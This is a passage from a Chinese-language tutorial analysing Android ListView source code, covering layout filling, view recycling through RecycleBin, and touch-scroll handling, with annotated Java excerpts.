LAYOUT_FORCE_TOP:\n\t\t\tmFirstPosition = 0;\n\t\t\tsel = fillFromTop(childrenTop);\n\t\t\tadjustViewsUpOrDown();\n\t\t\tbreak;\n\t\tcase LAYOUT_SPECIFIC:\n\t\t\tsel = fillSpecific(reconcileSelectedPosition(), mSpecificTop);\n\t\t\tbreak;\n\t\tcase LAYOUT_MOVE_SELECTION:\n\t\t\tsel = moveSelection(oldSel, newSel, delta, childrenTop, childrenBottom);\n\t\t\tbreak;\n\t\tdefault:\n\t\t    // 第一次调用layoutChildren方法的时候是还没有layout的，所以这时候childCount是0\n\t\t\tif (childCount == 0) {\n\t\t\t    // mStackFromBottom的注释Indicates whether the list is stacked from the bottom edge or the top edge.\n\t\t\t\tif (!mStackFromBottom) {\n\t\t\t\t    // 默认的布局方式是从上往下的。\n\t\t\t\t\tfinal int position = lookForSelectablePosition(0, true);\n\t\t\t\t\tsetSelectedPositionInt(position);\n\t\t\t\t\t// 调用fillFromTop方法。\n\t\t\t\t\tsel = fillFromTop(childrenTop);\n\t\t\t\t} else {\n\t\t\t\t\tfinal int position = lookForSelectablePosition(mItemCount - 1, false);\n\t\t\t\t\tsetSelectedPositionInt(position);\n\t\t\t\t\tsel = fillUp(mItemCount - 1, childrenBottom);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t    // 如果已经有条目了就会走到这里\n\t\t\t\tif (mSelectedPosition >= 0 && mSelectedPosition < mItemCount) {\n\t\t\t\t\tsel = fillSpecific(mSelectedPosition,\n\t\t\t\t\t\t\toldSel == null ? childrenTop : oldSel.getTop());\n\t\t\t\t} else if (mFirstPosition < mItemCount) {\n\t\t\t\t    // 没有选中的条目\n\t\t\t\t\t// TODO 一会先分析上面的fillFromTop部分，把其全部分析完后再回来分析这里。\n\t\t\t\t\tsel = fillSpecific(mFirstPosition,\n\t\t\t\t\t\t\toldFirst == null ? childrenTop : oldFirst.getTop());\n\t\t\t\t} else {\n\t\t\t\t\tsel = fillSpecific(0, childrenTop);\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t// Flush any cached views that did not get reused above\n\t\trecycleBin.scrapActiveViews();\n\n\t\tif (sel != null) {\n\t\t\t// The current selected item should get focus if items are\n\t\t\t// focusable.\n\t\t\tif (mItemsCanFocus && hasFocus() && !sel.hasFocus()) {\n\t\t\t\tfinal boolean focusWasTaken = (sel == focusLayoutRestoreDirectChild &&\n\t\t\t\t\t\tfocusLayoutRestoreView != null &&\n\t\t\t\t\t\tfocusLayoutRestoreView.requestFocus()) || sel.requestFocus();\n\t\t\t\tif (!focusWasTaken) {\n\t\t\t\t\t// Selected item didn't take focus, but we still want to\n\t\t\t\t\t// make sure something else outside of the selected view\n\t\t\t\t\t// has focus.\n\t\t\t\t\tfinal View focused = getFocusedChild();\n\t\t\t\t\tif (focused != null) {\n\t\t\t\t\t\tfocused.clearFocus();\n\t\t\t\t\t}\n\t\t\t\t\tpositionSelector(INVALID_POSITION, sel);\n\t\t\t\t} else {\n\t\t\t\t\tsel.setSelected(false);\n\t\t\t\t\tmSelectorRect.setEmpty();\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpositionSelector(INVALID_POSITION, sel);\n\t\t\t}\n\t\t\tmSelectedTop = sel.getTop();\n\t\t} else {\n\t\t\tfinal boolean inTouchMode = mTouchMode == TOUCH_MODE_TAP\n\t\t\t\t\t|| mTouchMode == TOUCH_MODE_DONE_WAITING;\n\t\t\tif (inTouchMode) {\n\t\t\t\t// If the user's finger is down, select the motion position.\n\t\t\t\tfinal View child = getChildAt(mMotionPosition - mFirstPosition);\n\t\t\t\tif (child != null) {\n\t\t\t\t\tpositionSelector(mMotionPosition, child);\n\t\t\t\t}\n\t\t\t} else if (mSelectorPosition != INVALID_POSITION) {\n\t\t\t\t// If we had previously positioned the selector somewhere,\n\t\t\t\t// put it back there. It might not match up with the data,\n\t\t\t\t// but it's transitioning out so it's not a big deal.\n\t\t\t\tfinal View child = getChildAt(mSelectorPosition - mFirstPosition);\n\t\t\t\tif (child != null) {\n\t\t\t\t\tpositionSelector(mSelectorPosition, child);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Otherwise, clear selection.\n\t\t\t\tmSelectedTop = 0;\n\t\t\t\tmSelectorRect.setEmpty();\n\t\t\t}\n\n\t\t\t// Even if there is not selected position, we may need to\n\t\t\t// restore focus (i.e. something focusable in touch mode).\n\t\t\tif (hasFocus() && focusLayoutRestoreView != null) {\n\t\t\t\tfocusLayoutRestoreView.requestFocus();\n\t\t\t}\n\t\t}\n\n\t\t// Attempt to restore accessibility focus, if necessary.\n\t\tif (viewRootImpl != null) {\n\t\t\tfinal View newAccessibilityFocusedView = viewRootImpl.getAccessibilityFocusedHost();\n\t\t\tif (newAccessibilityFocusedView == null) {\n\t\t\t\tif (accessibilityFocusLayoutRestoreView != null\n\t\t\t\t\t\t&& accessibilityFocusLayoutRestoreView.isAttachedToWindow()) {\n\t\t\t\t\tfinal AccessibilityNodeProvider provider =\n\t\t\t\t\t\t\taccessibilityFocusLayoutRestoreView.getAccessibilityNodeProvider();\n\t\t\t\t\tif (accessibilityFocusLayoutRestoreNode != null && provider != null) {\n\t\t\t\t\t\tfinal int virtualViewId = AccessibilityNodeInfo.getVirtualDescendantId(\n\t\t\t\t\t\t\t\taccessibilityFocusLayoutRestoreNode.getSourceNodeId());\n\t\t\t\t\t\tprovider.performAction(virtualViewId,\n\t\t\t\t\t\t\t\tAccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS, null);\n\t\t\t\t\t} else {\n\t\t\t\t\t\taccessibilityFocusLayoutRestoreView.requestAccessibilityFocus();\n\t\t\t\t\t}\n\t\t\t\t} else if (accessibilityFocusPosition != INVALID_POSITION) {\n\t\t\t\t\t// Bound the position within the visible children.\n\t\t\t\t\tfinal int position = MathUtils.constrain(\n\t\t\t\t\t\t\taccessibilityFocusPosition - mFirstPosition, 0,\n\t\t\t\t\t\t\tgetChildCount() - 1);\n\t\t\t\t\tfinal View restoreView = getChildAt(position);\n\t\t\t\t\tif (restoreView != null) {\n\t\t\t\t\t\trestoreView.requestAccessibilityFocus();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Tell focus view we are done mucking with it, if it is still in\n\t\t// our view hierarchy.\n\t\tif (focusLayoutRestoreView != null\n\t\t\t\t&& focusLayoutRestoreView.getWindowToken() != null) {\n\t\t\tfocusLayoutRestoreView.onFinishTemporaryDetach();\n\t\t}\n\t\t\n\t\tmLayoutMode = LAYOUT_NORMAL;\n\t\tmDataChanged = false;\n\t\tif (mPositionScrollAfterLayout != null) {\n\t\t\tpost(mPositionScrollAfterLayout);\n\t\t\tmPositionScrollAfterLayout = null;\n\t\t}\n\t\tmNeedSync = false;\n\t\tsetNextSelectedPositionInt(mSelectedPosition);\n\n\t\tupdateScrollIndicators();\n\n\t\tif (mItemCount > 0) {\n\t\t\tcheckSelectionChanged();\n\t\t}\n\n\t\tinvokeOnItemScrollListener();\n\t} finally {\n\t\tif (!blockLayoutRequests) {\n\t\t\tmBlockLayoutRequests = false;\n\t\t}\n\t}\n}\n```\n\n上面看到会调用`fillFromTop()`方法，我们看一下该方法的实现:       \n```java\n/**\n * Fills the list from top to bottom, starting with mFirstPosition\n *\n * @param nextTop The location where the top of the first item should be\n *        drawn\n *\n * @return The view that is currently selected\n */\nprivate View fillFromTop(int nextTop) {\n\tmFirstPosition = Math.min(mFirstPosition, mSelectedPosition);\n\tmFirstPosition = Math.min(mFirstPosition, mItemCount - 1);\n\tif (mFirstPosition < 0) {\n\t\tmFirstPosition = 0;\n\t}\n\t// 调用fillDown()方法。\n\treturn fillDown(mFirstPosition, nextTop);\n}\n```\n接下来我们看一下`fillDown()`方法的实现:      \n```java\n/**\n * Fills the list from pos down to the end of the list view.\n *\n * @param pos The first position to put in the list\n *\n * @param nextTop The location where the top of the item associated with pos\n *        should be drawn\n *\n * @return The view that is currently selected, if it happens to be in the\n *         range that we draw.\n */\nprivate View fillDown(int pos, int nextTop) {\n\tView selectedView = null;\n\n\tint end = (mBottom - mTop);\n\tif ((mGroupFlags & CLIP_TO_PADDING_MASK) == CLIP_TO_PADDING_MASK) {\n\t\tend -= mListPadding.bottom;\n\t}\n\t// 用一个循环一直去填充，nextTop与end的比较来判断是否超过当前屏幕了，这就是为什么ListView就算有一万条最开始载入也不卡，因为他只初始化一屏啊。\n\t// 以后都是边滑动边显示啊，说到这里一会我们还要看一下手势部分的处理。pos和mItemCount的比较来判断当前是否已经把所有条目填充完\n\twhile (nextTop < end && pos < mItemCount) {\n\t\t// is this the selected item?\n\t\tboolean selected = pos == mSelectedPosition;\n\t\t// 调用makeAndAddView方法\n\t\tView child = makeAndAddView(pos, nextTop, true, mListPadding.left, selected);\n\n\t\tnextTop = child.getBottom() + mDividerHeight;\n\t\tif (selected) {\n\t\t\tselectedView = child;\n\t\t}\n\t\tpos++;\n\t}\n\n\tsetVisibleRangeHint(mFirstPosition, mFirstPosition + getChildCount() - 1);\n\treturn selectedView;\n}\n```\n\n接下来看一下`makeAndAddView()`方法，文档里面说的非常清楚了:　　　　　　\n```java\n/**\n * Obtain the view and add it to our list of children. The view can be made\n * fresh, converted from an unused view, or used as is if it was in the\n * recycle bin.\n *\n * @param position Logical position in the list\n * @param y Top or bottom edge of the view to add\n * @param flow If flow is true, align top edge to y. If false, align bottom\n *        edge to y.\n * @param childrenLeft Left edge where children should be positioned\n * @param selected Is this position selected?\n * @return View that was added\n */\nprivate View makeAndAddView(int position, int y, boolean flow, int childrenLeft,\n\t\tboolean selected) {\n\tView child;\n\n\tif (!mDataChanged) {\n\t\t// Try to use an existing view for this position\n\t\tchild = mRecycler.getActiveView(position);\n\t\tif (child != null) {\n\t\t\t// Found it -- we're using an existing child\n\t\t\t// This just needs to be positioned\n\t\t\t// 最后一个参数为true说明是复用的\n\t\t\tsetupChild(child, position, y, flow, childrenLeft, selected, true);\n\n\t\t\treturn child;\n\t\t}\n\t}\n\n\t// Make a new view for this position, or convert an unused view if possible\n\t// 一会我们先看一下obtainView方法，这个方法其实就是创建一个childView\n\t// obtainView方法中会更改mIsScrap[0]的值，以便下面setupChild()中使用。\n\tchild = obtainView(position, mIsScrap);\n\n\t// This needs to be positioned and measured\n\t// 把childView添加到listview中，这里最后一个参数会是false\n\tsetupChild(child, position, y, flow, childrenLeft, selected, mIsScrap[0]);\n\n\treturn child;\n}\n```\n在`makeAndAddView()`方法里面就是通过`RecycleBin`来复用`View`，如果不存在可以复用的`View`时就创建一个新的。     \n那我们就先看一下`obtainView()`方法，这个方法中的注释写的非常清楚，谷歌大神写代码就是规范，不想某些牛逼哄哄的人整天咋呼敏捷开发，一个注释也不写，那能叫敏捷？。      \n```java\n/**\n * Get a view and have it show the data associated with the specified\n * position. This is called when we have already discovered that the view is\n * not available for reuse in the recycle bin. The only choices left are\n * converting an old view or making a new one.\n *\n * @param position The position to display\n * @param isScrap Array of at least 1 boolean, the first entry will become true if\n *                the returned view was taken from the scrap heap, false if otherwise.\n *\n * @return A view displaying the data associated with the specified position\n */\nView obtainView(int position, boolean[] isScrap) {\n\tTrace.traceBegin(Trace.TRACE_TAG_VIEW, \"obtainView\");\n\n\tisScrap[0] = false;\n\n\t// Check whether we have a transient state view. Attempt to re-bind the\n\t// data and discard the view if we fail.\n\tfinal View transientView = mRecycler.getTransientStateView(position);\n\tif (transientView != null) {\n\t\tfinal LayoutParams params = (LayoutParams) transientView.getLayoutParams();\n\n\t\t// If the view type hasn't changed, attempt to re-bind the data.\n\t\tif (params.viewType == mAdapter.getItemViewType(position)) {\n\t\t\tfinal View updatedView = mAdapter.getView(position, transientView, this);\n\n\t\t\t// If we failed to re-bind the data, scrap the obtained view.\n\t\t\tif (updatedView != transientView) {\n\t\t\t\tsetItemViewLayoutParams(updatedView, position);\n\t\t\t\tmRecycler.addScrapView(updatedView, position);\n\t\t\t}\n\t\t}\n\n\t\t// Scrap view implies temporary detachment.\n\t\tisScrap[0] = true;\n\t\treturn transientView;\n\t}\n    // getScrapView()方法会从废弃View的缓存中去取，一旦View移除了屏幕就会被加到该废弃缓存中，所以他就是当View移除屏幕了就加到该缓存中\n\t// 显示的时候再从该缓存中取，就这样进行了复用。\n\tfinal View scrapView = mRecycler.getScrapView(position);\n\t// 调用Adapter.getView()方法了。并且将scrapView作为converview的参数传入。这个方法都挺熟，就不说了。\n\tfinal View child = mAdapter.getView(position, scrapView, this);\n\tif (scrapView != null) {\n\t\tif (child != scrapView) {\n\t\t\t// Failed to re-bind the data, return scrap to the heap.\n\t\t\tmRecycler.addScrapView(scrapView, position);\n\t\t} else {\n\t\t\tisScrap[0] = true;\n\n\t\t\tchild.dispatchFinishTemporaryDetach();\n\t\t}\n\t}\n\n\tif (mCacheColorHint != 0) {\n\t\tchild.setDrawingCacheBackgroundColor(mCacheColorHint);\n\t}\n\n\tif (child.getImportantForAccessibility() == IMPORTANT_FOR_ACCESSIBILITY_AUTO) {\n\t\tchild.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_YES);\n\t}\n\t// 设置该view的layoutparams\n\tsetItemViewLayoutParams(child, position);\n\n\tif (AccessibilityManager.getInstance(mContext).isEnabled()) {\n\t\tif (mAccessibilityDelegate == null) {\n\t\t\tmAccessibilityDelegate = new ListItemAccessibilityDelegate();\n\t\t}\n\t\tif (child.getAccessibilityDelegate() == null) {\n\t\t\tchild.setAccessibilityDelegate(mAccessibilityDelegate);\n\t\t}\n\t}\n\n\tTrace.traceEnd(Trace.TRACE_TAG_VIEW);\n\n\treturn child;\n}\n```\n\n到这里我们就把`obtainView()`方法都看完了，接下来我们再看一下`setupChild()`方法:     \n```java\n/**\n * Add a view as a child and make sure it is measured (if necessary) and\n * positioned properly.\n *\n * @param child The view to add\n * @param position The position of this child\n * @param y The y position relative to which this view will be positioned\n * @param flowDown If true, align top edge to y. If false, align bottom\n *        edge to y.\n * @param childrenLeft Left edge where children should be positioned\n * @param selected Is this position selected?\n * @param recycled Has this view been pulled from the recycle bin? If so it\n *        does not need to be remeasured.\n */\nprivate void setupChild(View child, int position, int y, boolean flowDown, int childrenLeft,\n\t\tboolean selected, boolean recycled) {\n\tTrace.traceBegin(Trace.TRACE_TAG_VIEW, \"setupListItem\");\n\n\tfinal boolean isSelected = selected && shouldShowSelector();\n\tfinal boolean updateChildSelected = isSelected != child.isSelected();\n\tfinal int mode = mTouchMode;\n\tfinal boolean isPressed = mode > TOUCH_MODE_DOWN && mode < TOUCH_MODE_SCROLL &&\n\t\t\tmMotionPosition == position;\n\tfinal boolean updateChildPressed = isPressed != child.isPressed();\n\tfinal boolean needToMeasure = !recycled || updateChildSelected || child.isLayoutRequested();\n\n\t// Respect layout params that are already in the view. Otherwise make some up...\n\t// noinspection unchecked\n\tAbsListView.LayoutParams p = (AbsListView.LayoutParams) child.getLayoutParams();\n\tif (p == null) {\n\t\tp = (AbsListView.LayoutParams) generateDefaultLayoutParams();\n\t}\n\t// 这里就是Adapter中getItemViewType的调用处\n\tp.viewType = mAdapter.getItemViewType(position);\n\n\tif ((recycled && !p.forceAdd) || (p.recycledHeaderFooter &&\n\t\t\tp.viewType == AdapterView.ITEM_VIEW_TYPE_HEADER_OR_FOOTER)) {\n\t\t// 复用的或者headerView及footerView等调用attachViewToParent方法，把之前detach的View重新attach到ViewGroup上\n\t\tattachViewToParent(child, flowDown ? -1 : 0, p);\n\t} else {\n\t\tp.forceAdd = false;\n\t\tif (p.viewType == AdapterView.ITEM_VIEW_TYPE_HEADER_OR_FOOTER) {\n\t\t\tp.recycledHeaderFooter = true;\n\t\t}\n\t\t// 第一次都是通过该方法来把View添加到ViewGroup中\n\t\taddViewInLayout(child, flowDown ? -1 : 0, p, true);\n\t}\n\n\tif (updateChildSelected) {\n\t\tchild.setSelected(isSelected);\n\t}\n\n\tif (updateChildPressed) {\n\t\tchild.setPressed(isPressed);\n\t}\n\n\tif (mChoiceMode != CHOICE_MODE_NONE && mCheckStates != null) {\n\t\tif (child instanceof Checkable) {\n\t\t\t((Checkable) child).setChecked(mCheckStates.get(position));\n\t\t} else if (getContext().getApplicationInfo().targetSdkVersion\n\t\t\t\t>= android.os.Build.VERSION_CODES.HONEYCOMB) {\n\t\t\tchild.setActivated(mCheckStates.get(position));\n\t\t}\n\t}\n\n\tif (needToMeasure) {\n\t\tint childWidthSpec = ViewGroup.getChildMeasureSpec(mWidthMeasureSpec,\n\t\t\t\tmListPadding.left + mListPadding.right, p.width);\n\t\tint lpHeight = p.height;\n\t\tint childHeightSpec;\n\t\tif (lpHeight > 0) {\n\t\t\tchildHeightSpec = MeasureSpec.makeMeasureSpec(lpHeight, MeasureSpec.EXACTLY);\n\t\t} else {\n\t\t\tchildHeightSpec = MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED);\n\t\t}\n\t\tchild.measure(childWidthSpec, childHeightSpec);\n\t} else {\n\t\tcleanupLayoutState(child);\n\t}\n\n\tfinal int w = child.getMeasuredWidth();\n\tfinal int h = child.getMeasuredHeight();\n\tfinal int childTop = flowDown ? y : y - h;\n\n\tif (needToMeasure) {\n\t\tfinal int childRight = childrenLeft + w;\n\t\tfinal int childBottom = childTop + h;\n\t\tchild.layout(childrenLeft, childTop, childRight, childBottom);\n\t} else {\n\t\tchild.offsetLeftAndRight(childrenLeft - child.getLeft());\n\t\tchild.offsetTopAndBottom(childTop - child.getTop());\n\t}\n\n\tif (mCachingStarted && !child.isDrawingCacheEnabled()) {\n\t\tchild.setDrawingCacheEnabled(true);\n\t}\n\n\tif (recycled && (((AbsListView.LayoutParams)child.getLayoutParams()).scrappedFromPosition)\n\t\t\t!= position) {\n\t\tchild.jumpDrawablesToCurrentState();\n\t}\n\n\tTrace.traceEnd(Trace.TRACE_TAG_VIEW);\n}\n```\n通过分析我们看到核心的部分就是`attachViewToParent()`方法和`addViewInLayout()`方法，这两个方法都是父类`ViewGroup`中的方法，\n我们分别来看一下:     \n```java\n/**\n * Attaches a view to this view group. Attaching a view assigns this group as the parent,\n * sets the layout parameters and puts the view in the list of children so that\n * it can be retrieved by calling {@link #getChildAt(int)}.\n * <p>\n * This method is intended to be lightweight and makes no assumptions about whether the\n * parent or child should be redrawn. Proper use of this method will include also making\n * any appropriate {@link #requestLayout()} or {@link #invalidate()} calls.\n * For example, callers can {@link #post(Runnable) post} a {@link Runnable}\n * which performs a {@link #requestLayout()} on the next frame, after all detach/attach\n * calls are finished, causing layout to be run prior to redrawing the view hierarchy.\n * <p>\n * This method should be called only for views which were detached from their parent.\n *\n * @param child the child to attach\n * @param index the index at which the child should be attached\n * @param params the layout parameters of the child\n *\n * @see #removeDetachedView(View, boolean)\n * @see #detachAllViewsFromParent()\n * @see #detachViewFromParent(View)\n * @see #detachViewFromParent(int)\n */\nprotected void attachViewToParent(View child, int index, LayoutParams params) {\n\tchild.mLayoutParams = params;\n\n\tif (index < 0) {\n\t\tindex = mChildrenCount;\n\t}\n\t\n\t// 把该view添加到数组中，就像注释所说的为了能够让`getChildAt()`方法能获取到。\n\taddInArray(child, index);\n\n\tchild.mParent = this;\n\tchild.mPrivateFlags = (child.mPrivateFlags & ~PFLAG_DIRTY_MASK\n\t\t\t\t\t& ~PFLAG_DRAWING_CACHE_VALID)\n\t\t\t| PFLAG_DRAWN | PFLAG_INVALIDATED;\n\tthis.mPrivateFlags |= PFLAG_INVALIDATED;\n\n\tif (child.hasFocus()) {\n\t\trequestChildFocus(child, child.findFocus());\n\t}\n}\n```\n复用的处理看完后，我们看一下新创建的childView如何被添加到ListView上，我们看一下`addViewInLayout()`方法:       \n```java\n/**\n * Adds a view during layout. This is useful if in your onLayout() method,\n * you need to add more views (as does the list view for example).\n *\n * If index is negative, it means put it at the end of the list.\n *\n * @param child the view to add to the group\n * @param index the index at which the child must be added\n * @param params the layout parameters to associate with the child\n * @param preventRequestLayout if true, calling this method will not trigger a\n *        layout request on child\n * @return true if the child was added, false otherwise\n */\nprotected boolean addViewInLayout(View child, int index, LayoutParams params,\n\t\tboolean preventRequestLayout) {\n\tif (child == null) {\n\t\tthrow new IllegalArgumentException(\"Cannot add a null child view to a ViewGroup\");\n\t}\n\tchild.mParent = null;\n\t// 这个方法最终会调用addView方法添加childView\n\taddViewInner(child, index, params, preventRequestLayout);\n\tchild.mPrivateFlags = (child.mPrivateFlags & ~PFLAG_DIRTY_MASK) | PFLAG_DRAWN;\n\treturn true;\n}\n```\n\n到这里已经把上面`fillFromTop()`方法的部分都分析完了。  \n不要忘了我们上面还留了一个TODO的部分，就是对于已经有数据的部分调用`fillSpecific()`方法，那我们就看一下他的实现:　　　　　\n```java\n/**\n * Put a specific item at a specific location on the screen and then build\n * up and down from there.\n *\n * @param position The reference view to use as the starting point\n * @param top Pixel offset from the top of this view to the top of the\n *        reference view.\n *\n * @return The selected view, or null if the selected view is outside the\n *         visible area.\n */\nprivate View fillSpecific(int position, int top) {\n\tboolean tempIsSelected = position == mSelectedPosition;\n\tView temp = makeAndAddView(position, top, true, mListPadding.left, tempIsSelected);\n\t// Possibly changed again in fillUp if we add rows above this one.\n\tmFirstPosition = position;\n\n\tView above;\n\tView below;\n\n\tfinal int dividerHeight = mDividerHeight;\n\tif (!mStackFromBottom) {\n\t\tabove = fillUp(position - 1, temp.getTop() - dividerHeight);\n\t\t// This will correct for the top of the first view not touching the top of the list\n\t\tadjustViewsUpOrDown();\n\t\tbelow = fillDown(position + 1, temp.getBottom() + dividerHeight);\n\t\tint childCount = getChildCount();\n\t\tif (childCount > 0) {\n\t\t\tcorrectTooHigh(childCount);\n\t\t}\n\t} else {\n\t\tbelow = fillDown(position + 1, temp.getBottom() + dividerHeight);\n\t\t// This will correct for the bottom of the last view not touching the bottom of the list\n\t\tadjustViewsUpOrDown();\n\t\tabove = fillUp(position - 1, temp.getTop() - dividerHeight);\n\t\tint childCount = getChildCount();\n\t\tif (childCount > 0) {\n\t\t\t correctTooLow(childCount);\n\t\t}\n\t}\n\n\tif (tempIsSelected) {\n\t\treturn temp;\n\t} else if (above != null) {\n\t\treturn above;\n\t} else {\n\t\treturn below;\n\t}\n}\n```\n就像注释所说的它是让指定位置的View先加载到屏幕上，然后在加载该view往上以及往下位置的其他View，他里面会调用`fillUp()`和`fillDown()`方法，又会走上面的流程，所以这里就不分析了。\n\n好了，到这里我们就基本已经分析完了，但是感觉好像好少了点什么？　　　\n\n这里少了不是一点，是两点:      \n\n- 手势滑动过程中ListView的复用处理\n- RecycleBin中复用的具体实现\n\n\n一个个的来，先看一下手势滑动部分，这个当然是从`onTouchEvent()`方法看了，         \n手势这一块不太清楚的可以看我之前的一篇文章\n[Android Touch事件分发详解](https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/Android%20Touch%E4%BA%8B%E4%BB%B6%E5%88%86%E5%8F%91%E8%AF%A6%E8%A7%A3.md)\n\n\n发现`ListView`没有重写`onTouchEvent()`方法，这也好理解，因为`GridView`也有类似的滑动功能，所以去父类`AbsListView`中看.      \n我们看一下`AbsListView.onTouchEvent()`方法:　　　　　\n```java\n@Override\npublic boolean onTouchEvent(MotionEvent ev) {\n\tif (!isEnabled()) {\n\t\t// A disabled view that is clickable still consumes the touch\n\t\t// events, it just doesn't respond to them.\n\t\treturn isClickable() || isLongClickable();\n\t}\n\n\tif (mPositionScroller != null) {\n\t\tmPositionScroller.stop();\n\t}\n\n\tif (mIsDetaching || !isAttachedToWindow()) {\n\t\t// Something isn't right.\n\t\t// Since we rely on being attached to get data set change notifications,\n\t\t// don't risk doing anything where we might try to resync and find things\n\t\t// in a bogus state.\n\t\treturn false;\n\t}\n\n\tstartNestedScroll(SCROLL_AXIS_VERTICAL);\n\n\tif (mFastScroll != null) {\n\t\tboolean intercepted = mFastScroll.onTouchEvent(ev);\n\t\tif (intercepted) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\tinitVelocityTrackerIfNotExists();\n\tfinal MotionEvent vtev = MotionEvent.obtain(ev);\n\n\tfinal int actionMasked = ev.getActionMasked();\n\tif (actionMasked == MotionEvent.ACTION_DOWN) {\n\t\tmNestedYOffset = 0;\n\t}\n\tvtev.offsetLocation(0, mNestedYOffset);\n\tswitch (actionMasked) {\n\t\tcase MotionEvent.ACTION_DOWN: {\n\t\t\tonTouchDown(ev);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase MotionEvent.ACTION_MOVE: {\n\t\t    // 具体移动的部分就在这里了\n\t\t\tonTouchMove(ev, vtev);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase MotionEvent.ACTION_UP: {\n\t\t\tonTouchUp(ev);\n\t\t\tbreak;\n\t\t}\n\n\t\tcase MotionEvent.ACTION_CANCEL: {\n\t\t\tonTouchCancel();\n\t\t\tbreak;\n\t\t}\n\n\t\tcase MotionEvent.ACTION_POINTER_UP: {\n\t\t\tonSecondaryPointerUp(ev);\n\t\t\tfinal int x = mMotionX;\n\t\t\tfinal int y = mMotionY;\n\t\t\tfinal int motionPosition = pointToPosition(x, y);\n\t\t\tif (motionPosition >= 0) {\n\t\t\t\t// Remember where the motion event started\n\t\t\t\tfinal View child = getChildAt(motionPosition - mFirstPosition);\n\t\t\t\tmMotionViewOriginalTop = child.getTop();\n\t\t\t\tmMotionPosition = motionPosition;\n\t\t\t}\n\t\t\tmLastY = y;\n\t\t\tbreak;\n\t\t}\n\n\t\tcase MotionEvent.ACTION_POINTER_DOWN: {\n\t\t\t// New pointers take over dragging duties\n\t\t\tfinal int index = ev.getActionIndex();\n\t\t\tfinal int id = ev.getPointerId(index);\n\t\t\tfinal int x = (int) ev.getX(index);\n\t\t\tfinal int y = (int) ev.getY(index);\n\t\t\tmMotionCorrection = 0;\n\t\t\tmActivePointerId = id;\n\t\t\tmMotionX = x;\n\t\t\tmMotionY = y;\n\t\t\tfinal int motionPosition = pointToPosition(x, y);\n\t\t\tif (motionPosition >= 0) {\n\t\t\t\t// Remember where the motion event started\n\t\t\t\tfinal View child = getChildAt(motionPosition - mFirstPosition);\n\t\t\t\tmMotionViewOriginalTop = child.getTop();\n\t\t\t\tmMotionPosition = motionPosition;\n\t\t\t}\n\t\t\tmLastY = y;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (mVelocityTracker != null) {\n\t\tmVelocityTracker.addMovement(vtev);\n\t}\n\tvtev.recycle();\n\treturn true;\n}\n```\n\n接着看一下`onTouchMove()`方法:      \n```java\nprivate void onTouchMove(MotionEvent ev, MotionEvent vtev) {\n\tint pointerIndex = ev.findPointerIndex(mActivePointerId);\n\tif (pointerIndex == -1) {\n\t\tpointerIndex = 0;\n\t\tmActivePointerId = ev.getPointerId(pointerIndex);\n\t}\n\n\tif (mDataChanged) {\n\t\t// Re-sync everything if data has been changed\n\t\t// since the scroll operation can query the adapter.\n\t\tlayoutChildren();\n\t}\n\n\tfinal int y = (int) ev.getY(pointerIndex);\n\n\tswitch (mTouchMode) {\n\t\tcase TOUCH_MODE_DOWN:\n\t\tcase TOUCH_MODE_TAP:\n\t\tcase TOUCH_MODE_DONE_WAITING:\n\t\t\t// Check if we have moved far enough that it looks more like a\n\t\t\t// scroll than a tap. If so, we'll enter scrolling mode.\n\t\t\tif (startScrollIfNeeded((int) ev.getX(pointerIndex), y, vtev)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t// Otherwise, check containment within list bounds. If we're\n\t\t\t// outside bounds, cancel any active presses.\n\t\t\tfinal View motionView = getChildAt(mMotionPosition - mFirstPosition);\n\t\t\tfinal float x = ev.getX(pointerIndex);\n\t\t\tif (!pointInView(x, y, mTouchSlop)) {\n\t\t\t\tsetPressed(false);\n\t\t\t\tif (motionView != null) {\n\t\t\t\t\tmotionView.setPressed(false);\n\t\t\t\t}\n\t\t\t\tremoveCallbacks(mTouchMode == TOUCH_MODE_DOWN ?\n\t\t\t\t\t\tmPendingCheckForTap : mPendingCheckForLongPress);\n\t\t\t\tmTouchMode = TOUCH_MODE_DONE_WAITING;\n\t\t\t\tupdateSelectorState();\n\t\t\t} else if (motionView != null) {\n\t\t\t\t// Still within bounds, update the hotspot.\n\t\t\t\tfinal float[] point = mTmpPoint;\n\t\t\t\tpoint[0] = x;\n\t\t\t\tpoint[1] = y;\n\t\t\t\ttransformPointToViewLocal(point, motionView);\n\t\t\t\tmotionView.drawableHotspotChanged(point[0], point[1]);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase TOUCH_MODE_SCROLL:\n\t\tcase TOUCH_MODE_OVERSCROLL:\n\t\t\t// 滑动部分的处理，传入当前位置的x,y坐标\n\t\t\tscrollIfNeeded((int) ev.getX(pointerIndex), y, vtev);\n\t\t\tbreak;\n\t}\n}\n```\n\n再看一下`scrollIfNeeded()`方法的实现:　　　　\n```java\nprivate void scrollIfNeeded(int x, int y, MotionEvent vtev) {\n\tint rawDeltaY = y - mMotionY;\n\tint scrollOffsetCorrection = 0;\n\tint scrollConsumedCorrection = 0;\n\tif (mLastY == Integer.MIN_VALUE) {\n\t\trawDeltaY -= mMotionCorrection;\n\t}\n\tif (dispatchNestedPreScroll(0, mLastY != Integer.MIN_VALUE ? mLastY - y : -rawDeltaY,\n\t\t\tmScrollConsumed, mScrollOffset)) {\n\t\trawDeltaY += mScrollConsumed[1];\n\t\tscrollOffsetCorrection = -mScrollOffset[1];\n\t\tscrollConsumedCorrection = mScrollConsumed[1];\n\t\tif (vtev != null) {\n\t\t\tvtev.offsetLocation(0, mScrollOffset[1]);\n\t\t\tmNestedYOffset += mScrollOffset[1];\n\t\t}\n\t}\n\tfinal int deltaY = rawDeltaY;\n\tint incrementalDeltaY =\n\t\t\tmLastY != Integer.MIN_VALUE ? y - mLastY + scrollConsumedCorrection : 